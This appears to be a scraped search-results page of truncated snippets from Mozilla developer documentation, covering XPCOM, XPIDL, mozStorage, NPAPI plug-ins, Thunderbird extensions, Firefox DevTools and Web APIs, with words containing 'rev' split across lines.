he pointer to be stored. if idp is non-null, and provided the number of enumerable properties is known, the number of properties that will be enumerated should be returned as an integer jsval in idp. if idp is non-null and the number of enumerable properties cannot be computed in advance, idp should be set to jsval_zero. your function might be passed a null pointer for idp. ...
... statep an in/out pointer to a jsval whose meaning depends on the value of enum_op. idp an in/out pointer to a jsid whose meaning depends on the value of enum_op. ...
nsIXULTemplateBuilder
rols the display of elements using a xul template element and is automatically attached to an element containing a datasources attribute. a template builder, given an input source of data, a template, and a reference point, generates a list of results from the input, and copies part of the template for each result. templates may generate content recursively, using the same template, but with the p
revious iteration's results as the reference point. as an example, for an xml data source the initial reference point would be a specific node in the dom tree and a template might generate a list of all child nodes. for the next iteration, those children would be used to generate output for their child nodes and so forth. a template builder is attached to a single dom node; this node is called the ro...
...es, the result's hasbeenremoved() method must be called. optionally, the rule may have a <bindings> section which may be used to define additional variables to be used within an action body. each of these declared bindings must be supplied to the query processor via its addbinding() method. the bindings are evaluated after a rule has matched. templates may generate content recursively, using the p
revious iteration's results as reference point to invoke the same queries. since the reference point is different, different output will typically be generated. the reference point nsixultemplateresult object for the first iteration is determined by calling the query processor's translateref() method using the value of the root node's ref attribute. this object may be retrieved later via the builder'...
XPCOM Interface Reference
mstorageeventobsoletensidomstorageitemnsidomstoragelistnsidomstoragemanagernsidomstoragewindownsidomuserdatahandlernsidomwindownsidomwindow2nsidomwindowinternalnsidomwindowutilsnsidomxpathevaluatornsidomxpathexceptionnsidomxpathexpressionnsidomxpathresultnsidomxulcontrolelementnsidomxulelementnsidomxullabeledcontrolelementnsidomxulselectcontrolelementnsidomxulselectcontrolitemelementnsidatasignatu
reverifiernsidebugnsidebug2nsidevicemotionnsidevicemotiondatansidevicemotionlistenernsidialogcreatornsidialogparamblocknsidictionarynsidirindexnsidirindexlistenernsidirindexparsernsidirectoryenumeratornsidirectoryiteratornsidirectoryservicensidirectoryserviceprovidernsidirectoryserviceprovider2nsidiskcachestreaminternalnsidispatchsupportnsidocshellnsidocumentloadernsidownloadnsidownloadhistorynsidown...
...ortsdoublensisupportsfloatnsisupportsidnsisupportsinterfacepointernsisupportsprboolnsisupportsprint16nsisupportsprint32nsisupportsprint64nsisupportsprtimensisupportspruint8nsisupportspruint16nsisupportspruint32nsisupportspruint64nsisupportsprimitivensisupportsprioritynsisupportsstringnsisupportsvoidnsisupportsweakreferencensisyncjpakensisyncmessagesendernsitxttohtmlconvnsitaggingservicensitaskbarp
reviewnsitaskbarp
reviewbuttonnsitaskbarp
reviewcontrollernsitaskbarprogressnsitaskbartabp
reviewnsitaskbarwindowp
reviewnsitelemetrynsitextinputprocessornsitextinputprocessorcallbacknsitextinputprocessornotificationnsithreadnsithreadeventfilternsithreadinternalnsithreadmanagernsithreadobservernsithreadpoolnsithreadpoollistenernsitimernsitimercallbacknsitoolkitnsitoolkitprofilensitoolkitprofileservicensi...
Storage
ave to bind values to the parameters you placed in the statement. a given placeholder can appear multiple times in the same statement, and all instances of it will be replaced with the bound value. if you neglect to bind a value to a parameter, it will be interpreted as null. you should never try to construct sql statements on the fly with values inserted in them. by binding the parameters, you p
revent possible sql injection attacks since a bound parameter can never be executed as sql. binding one set of parameters if you only have one row to insert, or are using the synchronous api you'll need to use this method. in javascript, there is a useful helper object (mozistoragestatementparams) available () that makes binding parameters much easier: var statement = dbconn.createstatement("selec...
... your statement. you can accomplish this by calling mozistoragestatement.reset() on the statement. if you end up finalizing the statement (see mozistoragestatement.finalize()) you do not need to worry about calling mozistoragestatement.reset(). you should do this before you reuse the statement. warning: if you fail to reset a write statement, it will continue to hold a lock on the database p
reventing future writes or reads. additionally, if you fail to reset a read statement, it will p
revent any future writes to the database. in javascript, the language makes it pretty easy to ensure that you always reset a statement. be aware that you should always reset even if an exception is thrown, so your code should look something like this: var statement = dbconn.createstatement("select * fro...
XPCOM ownership guidelines
hould be acyclic. anytime there is a cycle of ownership, there is a situation that isn't automatically handled by destructors. special code must be provided and called to break the cycle before the participants can be individually released. you don't need to own it if it's lifetime is guaranteed to be longer than yours. as for instance, when it owns you. ...
... use nscomptrs to implement owning-pointers. it's explicit, efficient, and fairly bullet-proof. it's easier to write `getter's and `setter's; and you don't need to put anything in your destructor. original document information author: scott collins last updated date: may 8, 2003 copyright information: copyright© 1999 by netscape; use is subject to the npl. ...
XPCOM
xpcom cycle collectorthis is a quick overview of the cycle collector introduced into xpcom for firefox 3, including a description of the steps involved in modifying an existing c++ class to participate in xpcom cycle collection. ...
...g nsiclassinfoif you use a c++ class which implements nsiclassinfo from javascript, then you don't have to explicitly call queryinterface on the javascript object to access the object's interfaces.using nsidirectoryservicensdirectoryservice implements the nsiproperties interface. this implementation will allow you to get(), set(), define(), and undefine() nsifile.using nsipasswordmanagertechnical
review completed.using nsisimpleenumeratorusing the clipboardthis section provides information about cutting, copying, and pasting to and from the clipboard.using the gecko sdkweak referencein xpcom, a weak reference is a special object that contains a pointer to an xpcom object, but doesnot keep that object alive. if the referent object is destroyed before the weak reference, the pointer inside the ...
XPIDL Syntax
purpose of this document this document is not an introduction to xpidl or idl in general. it is more focused on xpidl syntax and grammar. see xpidl main page for more links and introductory content. simplifications, conventions and notation the syntax is specified according to abnf as defined by rfc 5234, although a few productions use prose for clarity of understanding. ...
...ut the raw fragment only in the specified language. a `#include "file"' line instructs the xpidl processor to include that file in the same sense that the c preprocessor includes a file. note that includes within comments or raw code fragments are not processed by xpidl. unlike the c preprocessor, when a file is included multiple times, it acts as if the subsequent includes did not happen; this p
revents the need for include guards. xpidl syntax (abnf) the root production here is idl_file. idl_file = 1*definition definition = [type_decl / const_decl / interface] ";" interface = [prop_list] "interface" ident [[inheritance] "{" *(ifacebody) "}"] inheritance = ":" *(scoped_name ",") scoped_name] ifacebody = [type_decl / op_decl /attr_decl / const_decl] ";" / codefrag type_decl = [prop_li...
XPIDL
terface classes. interface description languages (idl) are used to describe interfaces in a language- and machine-independent way. idls make it possible to define interfaces which can then be processed by tools to autogenerate language-dependent interface specifications. xpidl is expected to converge towards webidl in the future. note: starting in gecko 9.0, the older xpidl utility, which was p
reviously used to generate c++ header files, typelib information, and so forth has been replaced with pyxpidl in the gecko sdk. pyxpidl has been used for some time now, but now the older tool has been fully retired. writing xpidl interface files xpidl closely resembles omg idl, with extended syntax to handle iids and additional types. some examples are in the xpcom/base and xpcom/ds directories of...
...ble method or attribute. an exception to the above rule is if the parameter has the iid_is property (a special case for some queryinterface-like operations). in general, this means that the only usable native types are those declared in nsrootidl.idl (see above). methods and attributes are mangled on conversion to native code. if a method is declared notxpcom, the mangling of the return type is p
revented, so it is called mostly as it looks. otherwise, the return type of the native method is nsresult, and the return type acts as a final outparameter if it is not void. the name is translated so that the first character is unconditionally uppercase; subsequent characters are unaffected. however, the presence of the binaryname property allows the user to select another name to use in native code...
nsIMsgCloudFileProvider
ovider should be associated with. void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file to be uploaded. acallback the nsirequestobserver callback to receive request start and stop notices. urlforfile() returns the url for a file that has been uploaded. acstring urlforfile(in nsilocalfile afile); parameters afile the p
reviously uploaded file to get the url for. return value the string representation of the url for the uploaded file. if the file was not uploaded with this instance of the nsimsgcloudfileprovider, returns undefined. cancelfileupload() cancels an upload currently in progress for some nsilocalfile. void cancelfileupload(in nsilocalfile afile); parameters afile the nsilocalfile that is curre...
...d prompt the user for credentails in the event that the stored credentials have gone stale. if awithui is false, and the credentials are stale, the onstoprequest of the acallback nsirequestlistener will get the autherr status code passed to it. acallback the nsirequestobserver for monitoring the start and stop states of the refresh operation. deletefile() attempts to delete a file that had p
reviously been uploaded using this instance. void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was p
reviously uploaded using this nsimsgcloudfileprovider instance that should be deleted. acallback the nsirequestobserver for monitoring the start and stop states of the delete operation. createnewaccount() creates a new us...
Index
ailboxurl, and nsmailboxprotocol. this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running urls, getting onstart/stoprunningurl notifications when the url starts/stops, etc. 43 mailnews and mail code
review requirements this document describes the process for
reviewing patches to the mozilla/mailnews and mozilla/mail directories. thunderbird and seamonkey are the primary users of the code in mozilla/mailnews. thunderbird's front-end code is stored in mozilla/mail. (a fair amount of this code is forked from code in the mailnews/ directory). 44 main windows thunderbird ...
... 51 the libmime module by richard h. pizzarro <rhp@netscape.com> 52 thunderbird api documentation these pages have been moved from mozilla.org, and may or may not be relevant. 55 thunderbird binaries branch, trunk, comm-central, thunderbird described below are three types of generally available thunderbird packages - releases, early p
review releases, and nightly builds (including trunk development builds) - and their downloaded locations. additionally, ad-hoc packages called try builds are made available on an as-needed basis to allow for testing of certain patches, and are typically announced in related bug reports. 56 thunderbird configuration files config editor, configuration files many of the tips and t...
Creating a Custom Column
adding a column by far the easiest part is the physical addition of the column. for this we overlay messenger.xul, by placing the following line in our chrome.manifest file: overlay chrome://messenger/content/messenger.xul chrome://replyto_col/content/replyto_col_overlay.xul now that our overlay is set up we need to connect a column to the current columns that exist. looking in messenger.xul
reveals that the columns reside inside a tree with the id "threadtree" whose columns (treecols) reside in "threadcols". to attach our column we add another treecol tag ("colreplyto") with the settings that we would like to use. don't forget to add in a splitter before the column to ensure that the user can easily resize and drag our column around. our replyto_col_overlay.xul should now contain somet...
...r. most of the dirty tasks (displaying and sorting) are done for you in the background - so that all that's left to you, the extension developer is to populate the code with your feature. don't forget that columns aren't restricted to text - they can also load images (via getimagesrc()) so that your extension can display a new visual cue to the user. as you develop your custom extension, please
revisit this article and add any helpful hints that you find along the way! caveats some weird behaviors have been witnessed, namely failing to be notified of the msgcreatedbview event when enigmail is installed [protz]. what happens is: usually, the event sequence is: jsm load -> onload -> msgcreatedbview with enigmail, the event sequence becomes jsm load -> msgcreatedbview -> onload to work...
Activity Manager examples
// step 1: create a nsiactivitycancelhandler implementation function canceljunkprocess() { // user stuff here.. } canceljunkprocess.prototype = { cancel: function(aactivity) { let initiator = aactivity.initiator; if (initiator) { let folder = aactivity.getsubjects({})[0]; .... // assu...
...ts({})[0]; .... // assuming that the initiator has some way to cancel // the junk processing for given folder if (initiator.cancelfolderop(folder)) { aactivity.state = components.interfaces.nsiactivityprocess.state_canceled; gactivitymanager.removeactivity(aactivity.id); return cr.ns_success; } } return cr.ns_failure; } } // step 2: modify the p
revious sample to add initiator, subject // and associate a nsiactivitycancelhandler component ... // assuming that gjunkprocessor is the entity initiating the junk processing // activity, and it has cancelfolderop method that cancels the operations on folders process.init("processing folder: " + folder.prettiestname, gjunkprocessor); // folder is being filtered/processed process.addsub...
Working with windows in chrome code
label="cancel" oncommand="close();" /> </hbox> </window> example 2: interacting with the opener sometimes an opened window needs to interact with its opener; for example, it might do so in order to give notice that the user has made changes in the window. you can find the window's opener using its window.opener property or via a callback function passed to the window in a way described in the p
revious section. let's add code to the p
revious example to notify the opener when the user presses cancel on the progress dialog. using window.opener. the opener property returns its window's opener; that is, the window object that opened it. if we're sure the window that opened the progress dialog declares the canceloperation function, we can use window.opener.canceloperation() to notify it, l...
...re sure the window that opened the progress dialog declares the canceloperation function, we can use window.opener.canceloperation() to notify it, like this: <button label="cancel" oncommand="opener.canceloperation(); close();" /> using a callback function. alternatively, the opener window can pass a callback function to the progress dialog in the same way we passed the status string in the p
revious example: function oncancel() { alert("operation canceled!"); } ... window.opendialog( "chrome://test/content/progress.xul", "myprogress", "chrome,centerscreen", {status: "reading remote data", maxprogress: 50, progress: 10}, oncancel ); the progress dialog can then run the callback like this: <button label="cancel" oncommand="window.arguments[1](); close();" /> example 3: u...
Browser Side Plug-in API - Plugins
npn_forceredraw forces a paint message for a windowless plug-in. ...
...implemented by the browser and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. netscape plug-in method summary « p
reviousnext » npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a new stream with the contents of...
Constants - Plugins
all program definitions are found in npapi.h. error codes code value description nperr_no_error 0 no errors occurred. nperr_generic_error 1 error with no specific error code occurred. nperr_invalid_instance_error 2 invalid instance passed to the plug-in. nperr_invalid_functable_error 3 function table invalid. nperr_module_load_failed_error 4 loading of plug-in failed. nperr_out_of_memory_error 5 memory allocation failed. nperr_invalid_plugin_error 6 plug-in missing or invalid. ...
...rs_has_popups_enabled_state 16 the npn_pushpopupsenabledstate() and npn_poppopupsenabledstate() functions are supported. npvers_has_response_headers 17 npstreams have response headers for http streams. npvers_has_npobject_enum 18 the npclass in question has an enumerate field, which lets you enumerate the properties of an npobject of that class. « p
revious ...
Plug-in Side Plug-in API - Plugins
the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. plugin method summary npp_destroy deletes a specific instance of a plug-in. npp_destroystream tells the plug-in that a stream is about to be closed or destroyed. np_getentrypoints undocumented. np_getmimedescription registers the mime types supported by the plug-in (unix, mac os). npp_getvalue allows the browser to query the plug-in for information. ...
... window is created, moved, sized, or destroyed. ...
Structures - Plugins
structure summary npanycallbackstruct contains information required during embedded mode printing. npbyterange represents a particular range of bytes from a stream. npembedprint substructure of npprint that contains platform-specific information used during embedded mode printing. npevent represents an event passed by npp_handleevent to a windowless plug-in. npfullprint substructure of npprint that contains platform-specific information used during full-page mode printing. npp represents a single instance of a plug-in. ...
... the plug-in. ...
URLs - Plugins
uniform resource locator (url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher. the table below summarizes urls supported by gecko. in addition, gecko may support urls not listed on this table. url scheme description about locates browser information or "fun" pages. ...
...nd mylength to the mailto url mailto:fred@example.com. the target window for displaying the message is null in the example. normally, using a null target window causes the response to be delivered from the server to the plug-in instance in a new stream, but no response is expected for a mailto url. you cannot use either of these functions to set the body or attachments of an email message. « p
reviousnext » ...
Version, UI, and Status Information - Plugins
displaying a status line message users are accustomed to checking the ui status line at the bottom of the browser window for updates on the progress of an operation or the url of a link on the page. you can also use the status line to notify the user of plug-in-related information. the user might appreciate seeing the percentage completed of the current operation or the url of a button or other link object when the cursor is over it, all of which the browser shows. in fact, your plug-in interface should be consistent with the rest of the browser in this way. ...
...ll plug-ins in the plugins directory without restarting. this causes the browser to install a new plug-in and load it, or remove a plug-in, without having to restart. consider using this function as part of the plug-in's smartupdate process. void npn_reloadplugins(npbool reloadpages); the reloadpages parameter is a boolean that indicates whether to reload the page (true) or not (false). « p
reviousnext » ...
Accessibility Inspector - Firefox Developer Tools
ls.accessibility.enabled to false. if you do this, the ways listed above for activating the accessibility inspector do nothing. features of the accessibility panel the enabled accessibility panel looks like so: on the left-hand side, there is a tree diagram representing all the items in the accessibility tree for the current page. items with nested children have arrows that can be clicked to
reveal the children, so you can move deeper into the hierarchy. each item has two properties listed: role — the role this item has on the page (e.g., pushbutton, or footer). this can be either a default role provided by the browser, or a role given to it via a wai-aria role attribute. name — the name this item has on the page. the name depends on the element; for example, the name of most tex...
... page highlight objects in the accessibility tree. the accessibility tab element picker looks slightly different from the page inspector html pane picker, as shown below: when you "perform a pick", you see the accessibility object highlighted in the accessibility tree, and the picker is then deactivated. note, however, that if you hold the shift key down when "performing a pick", you can "p
review" the accessibility object in the tree (and its properties in the right-hand pane), but then continue picking as many times as you like (the picker does not get cancelled) until you release the shift key. when the picker is activated, you can also deactivate it by pressing the picker button a second time, or pressing the esc key. typical use cases the accessibility inspector is very useful f...
DOM Inspector internals - Firefox Developer Tools
ration overlays. dom inspector explicitly supports several mozilla project applications by providing its own host-integration overlays. ...
... similar to its host application. (above, seamonkey and firefox, respectively.) there are several overlays from the resources/contents/ directory that do not fall into the category of host-integration overlays. that's because dom inspector also uses shared overlays to build up its own ui. shared structure overlays taking a look at the contents of inspector.xul, dom inspector's primary ui, will
reveal that it contains almost no visible elements. as of this writing, there's a toolbox containing an empty menubar and an empty toolbar, as well as an empty vbox: <toolbox id="tbxinstoolbox"> <menubar id="mbrinspectormain"/> <toolbar id="tbinspectorprimary"/> </toolbox> <vbox id="bxinspectormain" flex="1"/> there are no menus, toolbar items, et cetera defined here. even most of t...
Debugging service workers - Firefox Developer Tools
ul controls on this view, too. unregister on the right-hand side of the service workers view there is an unregister button, which when pressed unregisters the service worker. this is very useful because, once registered, the service worker will not necessarily update to the new version immediately, which can make debugging a pain. from updating your service worker: if your service worker has p
reviously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. it is only activated when there are no longer any pages loaded that are still using the old service worker. as soon as there are no more such pages still loaded, the new service worker activates. debug important: the debug butt...
...you can use the full power of the debugger to debug it — stepping through code, etc. testing a service worker cache if you are using your service worker to store your site assets in cache storage (using the cache api), which is essential for creating offline apps, it can be annoying to test the cache. when you fill up the cache with assets, but then want to alter the behavior slightly, you p
reviously had to manually write code to empty the cache, and then fill it again. the firefox devtools’ storage tab has a cache storage section that lists all the different caches you have stored under each different origin. right/ctrl clicking on one of the caches gives you two options: delete all — delete all caches under this origin. delete "name of cache" — delete only the highlighte...
Set a breakpoint - Firefox Developer Tools
off, but don't remove it completely. disable breakpoints on line and remove breakpoints on line: remove or disable column breakpoints. if the breakpoint is an unconditional breakpoint, you'll get an option add condition, which allows you to turn it into a conditional breakpoint. if the breakpoint is a conditional breakpoint, you'll get an option edit condition, which allows you to change the p
reviously set condition. inline variable p
review new in firefox 71, the source pane now gives you an inline p
review of the variables on each line of code you've stepped through: this is a very useful timesaver when stepping through your code. p
reviously you’d have to scroll through the scopes panel to find variable values, or hover over a variable in the source pane. now when execution pauses...
...ve stepped through: this is a very useful timesaver when stepping through your code. p
reviously you’d have to scroll through the scopes panel to find variable values, or hover over a variable in the source pane. now when execution pauses, you can view relevant variables immediately. note: there is also a new option in the context menu for the actual code in the source pane — hide inline p
review/show inline p
review — which allows you to turn the inline variables on/off. ...
UI Tour - Firefox Developer Tools
the file locally. for folders and groups, the following context menu options are available: collapse all collapses all subfolders of the item. expand all expands all subfolders of the item. set directory root changes the source list view so that only that item and its children are visible. the name of the selected directory is shown at the top of the source list pane; clicking this name
reverts the pane to showing all source items. ignore (since firefox 76) ignore files in this directory causes all files within the selected directory to be skipped by the debugger. all child files acquired the eye icon, and the folder menu option changes to unignore files in this directory. ignore files outside this directory causes all files other than those within the selected directory t...
...its. a button that deactivates all breakpoints. a settings menu that contains: disable javascript: disables javascript for this tab. this option enables you to see how your web page looks if the user has disabled javascript via an extension or a configuration setting. the setting is reset when the developer tools are closed (except in firefox 77, see bug 1640318). inline variable p
review: enabled by default, this option displays variable values within the source pane when the debugger is paused. source maps: enabled by default, this option directs the debugger to load the original versions of files, and map them to the generated ones loaded in a page, to ease debugging of translformed sources. see use a source map for details. breakpoints list under the toolbar, you...
Debugger - Firefox Developer Tools
exception. setting this to true enables code coverage instrumentation, which can be accessed via the debugger.script getoffsetscoverage function. in some cases, the code coverage might expose information which pre-date the modification of this flag. code coverage reports are monotone, thus one can take a snapshot when the debugger is enabled, and output the difference. setting this to false p
revents this debugger instance from requiring any code coverage instrumentation, but it does not guarantee that the instrumentation is not present. uncaughtexceptionhook either null or a function that spidermonkey calls when a call to a debug event handler, breakpoint handler, or similar function throws some exception, which we refer to asdebugger-exception here. exceptions thrown in the debugg...
...e instances that refer to it, but cannot itself be used as a valid instance of the class. code gathering objects by class name may need to examine them further before trying to use them. all properties of query are optional. passing an empty object returns all objects in debuggee globals. unlike findscripts, this function is deterministic and will never return debugger.objects referring to p
reviously unreachable objects that had not been collected yet. clearbreakpoint(handler) remove all breakpoints set in this debugger instance that usehandler as their handler. note that, if breakpoints using other handler objects are set at the same location(s) ashandler, they remain in place. clearallbreakpoints() remove all breakpoints set using this debugger instance. findallglobals() ret...
Index - Firefox Developer Tools
s may access the following objects from the chrome://browser/content/devtools/inspector/inspector.xul context: 71 use the inspector from the web console guide, inspector, tools the element that's currently selected in the page inspector can be referenced in the web console using the variable $0. 72 view background images in the rules view, you can see a p
review of images specified using background-image. just hover over the rule: 73 visualize transforms guide, inspector, tools if you hover over a transform property in the rules view, you'll see the transformation overlaid in the page: 74 work with animations guide, inspector, tools this article covers three tools you can use to visualize and edit animations: ...
...chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): 119 breaking on exceptions when an exception occurs, the line where it occurs is highlighted in the source pane, with a squiggly red line under the problematic code. a tooltip describes the exception. starting in firefox 80, a disclosure triangle within the tooltip
reveals a stack trace. 120 debug eval sources you can debug javascript code that is evaluated dynamically, either as a string passed to eval() or as a string passed to the function constructor. 121 disable breakpoints to disable a single breakpoint, uncheck the checkbox next to it in the breakpoints list. 122 examine, modify, and watch variables ...
Inspecting web sockets - Firefox Developer Tools
ket requests are listed in the list of requests in the network monitor along with all other requests. you can use the ws button to filter the list for just web socket connections. only requests with the 101 status code (websocket protocol handshake) are visible, which indicates that the server is switching to a web socket connection. clicking on a web socket request opens the usual sidebar to
reveal additional details. choose the reponse tab to inspect web socket frames sent and received through the selected connection. the live-updated table shows data for sent (green arrow) and received (red arrow) frames. each frame expands on click, so you can inspect the formatted data. pausing web socket traffic you can use the pause/resume button in the network monitor toolbar to stop intercep...
...ane, you can choose to show the following information about each frame: data size time opcode maskbit finbit the data and time columns are visible by default, but you can customize the interface to see more columns by choosing which ones to show from the context menu that is opened by right-clicking in the table header. expanding each message selecting a message in the list shows a p
review of the data being sent in that message, at the bottom of the response pane. supported ws protocols the inspector currently supports the following web socket protocols: plain json socket.io sockjs signalr wamp the payload based on those protocols is parsed and displayed as an expandable tree for easy inspection, although you can of course still see the raw data (as sent over the wi...
Page inspector keyboard shortcuts - Firefox Developer Tools
home home home move to last node in the tree. end end end expand currently selected node right arrow right arrow right arrow collapse currently selected node left arrow left arrow left arrow (when a node is selected) move inside the node so ...
...+ f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +enter f2 / cmd + return f2 / ctrl + enter copy the selected node's outer html ctrl + c cmd + c ctrl + c scroll the selected node into view s s s find the next match in the markup, when searching is active enter return enter find the p
revious match in the markup, when searching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused. command windows macos linux move to the p
revious element in the breadcrumbs bar left arrow left arrow left arrow move to the next element in the breadcrumbs bar rig...
Settings - Firefox Developer Tools
or show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view. note that this setting is independent of the "browser styles" checkbox in the inspector's computed view. truncate dom attributes by default, the inspector truncates dom attributes that are more than 120 characters long. uncheck this box to p
revent this behavior. this setting works by toggling the about:config preference "devtools.markup.collapseattributes". to change the threshold at which attributes are truncated, you can edit the about:config preference "devtools.markup.collapseattributelength". default color unit a setting to control how colors are represented in the inspector: hex hsl(a) rgb(a) color name as authored. ...
...e disable the browser http cache to simulate first-load performance in all tabs that have the toolbox open. this setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. caching is re-enabled when the devtools are closed. note that service workers are not affected by this option. note that this option was called "disable cache" in firefox versions p
revious to 49, but it was renamed to make it clearer that this affects the http cache, and not service workers/the cache api. disable javascript reload the current tab with javascript disabled. enable service workers over http enable service worker registrations from insecure websites. enable browser chrome and add-on debugging toolboxes enable you to use developer tools in the context of the...
Style Editor - Firefox Developer Tools
eet's entry in the list. from firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab. the editor pane on the right is the editor pane. this is where the source for the selected style sheet is available for you to read and edit. any changes you make are immediately applied to the page. this makes it easy to experiment with,
revise, and test changes. once you're satisfied with your changes, you can save a copy locally by clicking the save button on the sheet's entry in the style sheet pane. the editor provides line numbers and syntax highlighting to help make it easier to read your css. it also supports a number of keyboard shortcuts. the style editor automatically de-minimizes style sheets that it detects, without aff...
...hey can display, and allow you to edit, files in the original syntax. from firefox 29 onwards, the style editor can understand css source maps. this means that if you use, for example, sass, then the style editor will show you, and allow you to edit, sass files, rather than the css that is generated from them: for this to work, you must: use a css preprocessor that understands the source map
revision 3 proposal. currently this means sass 3.3.0 or above or the 1.5.0 version of less. other preprocessors are actively working on adding support, or considering it. actually instruct the preprocessor to generate a source map, for example by passing the --source-map argument to the lass command-line tool, but in some preprocessors like sass, source maps are generated by default and you don't ne...
Web console keyboard shortcuts - Firefox Developer Tools
put (only if the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate
reverse search through command history/step backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating
reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the curren...
... add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the p
revious autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions page up page up page up page down through autocomplete suggestions page down page down page down scroll to start of autocomplete suggestions home home ...
The JavaScript input interpreter - Firefox Developer Tools
enabled. execution history the interpreter remembers expressions you've typed. to move back and forward through your history: in single-line mode, use the up and down arrows. in multi-line mode, use the ⋀ and ⋁ icons in the editing panel's toolbar. the expression history is persisted across sessions. to clear the history, use the clearhistory() helper function. you can initiate a
reverse search through the expression history, much like you can in bash on linux and mac or powershell on windows. on windows and linux press f9. on mac press ctrl+r (note: not cmd+r!) to initiate the
reverse search. enter the text you want to search for in the input box at the bottom of the console. start typing part of the expression you are looking for and the first match is displayed in the c...
...you can also use the ⋀ and ⋁ icons in the expression search bar. when you find the expression you want, press enter (return) to execute the statement. ...
Animation.playbackRate - Web APIs
layback rate of the animation. animations have a playback rate that provides a scaling factor from the rate of change of the animation's timeline time values to the animation’s current time. the playback rate is initially 1. syntax var currentplaybackrate = animation.playbackrate; animation.playbackrate = newrate; value takes a number that can be 0, negative, or positive. ...
...e values
reverse the animation. the value is a scaling factor, so for example a value of 2 would double the playback rate. setting an animation’s playbackrate to 0 effectively pauses the animation (however, its playstate does not necessarily become paused). examples in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to
reverse, causing her to shrink: var shrinkalice = function() { alicechange.playbackrate = -1; alicechange.play(); } // on tap or click, alice will shrink. bottle.addeventlistener("mousedown", shrinkalice, false); bottle.addeventlistener("touchstart", shrinkalice, false); contrariwise, clicking on the cake causes her to "grow," playing alicechange forwards again: var growalice = function() { ...
Attr - Web APIs
font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">attr</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the console. you should
revise your code accordingly. see deprecated properties and methods for a complete list. properties name read only the attribute's name. namespaceuri read only a domstring representing the namespace uri of the attribute, or null if there is no namespace. localname read only a domstring representing the local part of the qualified name of the attribute. prefix read only a domstring repr...
...s property now always returns null. nextsibling this property now always returns null. nodename use attr.name instead. nodetype this property now always returns 2 (attribute_node). nodevalue use attr.value instead. ownerdocument you shouldn't have been using this in the first place, so you probably don't care that this is going away. parentnode this property now always returns null. p
revioussibling this property now always returns null. schematypeinfo read only the type information associated with this attribute. while the type information contained in this attribute is guaranteed to be correct after loading the document or invoking document.normalizedocument, this property may not be reliable if the node was moved. specified this property now always returns true. textco...
AudioParam - Web APIs
et to the value of defaultvalue. methods audioparam.setvalueattime() schedules an instant change to the value of the audioparam at a precise time, as measured against audiocontext.currenttime. the new value is given by the value parameter. audioparam.linearramptovalueattime() schedules a gradual linear change in the value of the audioparam. ...
... audioparam.settargetattime() schedules the start of a change to the value of the audioparam. ...
CSS Object Model (CSSOM) - Web APIs
the css object model is a set of apis allowing the manipulation of css from javascript. it is much like the dom, but for the css rather than the html. it allows users to read and modify css style dynamically. ...
... the css object model is a set of apis allowing the manipulation of css from javascript. it is much like the dom, but for the css rather than the html. it allows users to read and modify css style dynamically. ...
CanvasRenderingContext2D.drawWindow() - Web APIs
nate of the window. w the width of the window. h the height of the window. bgcolor a domstring that specifies the color the canvas is filled with before the window is rendered into it. this color may be transparent/translucent. it is given as a css color string (for example, rgb() or rgba()). notes: if "rgba(0,0,0,0)" is used for the background color, the drawing will be transparent whe
rever the window is transparent. top-level browsed documents are usually not transparent because the user's background-color preference is applied, but iframes are transparent if the page doesn't set a background. if an opaque color is used for the background color, rendering will be faster because we won't have to compute the window's transparency. flags optional used to better control the...
...)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background. with this method, it is possible to fill a hidden iframe with arbitrary content (e.g., css-styled html text, or svg) and draw it into a canvas. it will be scaled, rotated and so on according to the current transformation. ted mielczarek's tab p
review extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference. specifications not part of any current specification or draft. this is a non-standard and internal only api. ...
CanvasRenderingContext2D.globalAlpha - Web APIs
lied to shapes and images before they are drawn onto the canvas. see also the chapter applying styles and color in the canvas tutorial. syntax ctx.globalalpha = value; options value a number between 0.0 (fully transparent) and 1.0 (fully opaque), inclusive. the default value is 1.0. values outside that range, including infinity and nan, will not be set, and globalalpha will retain its p
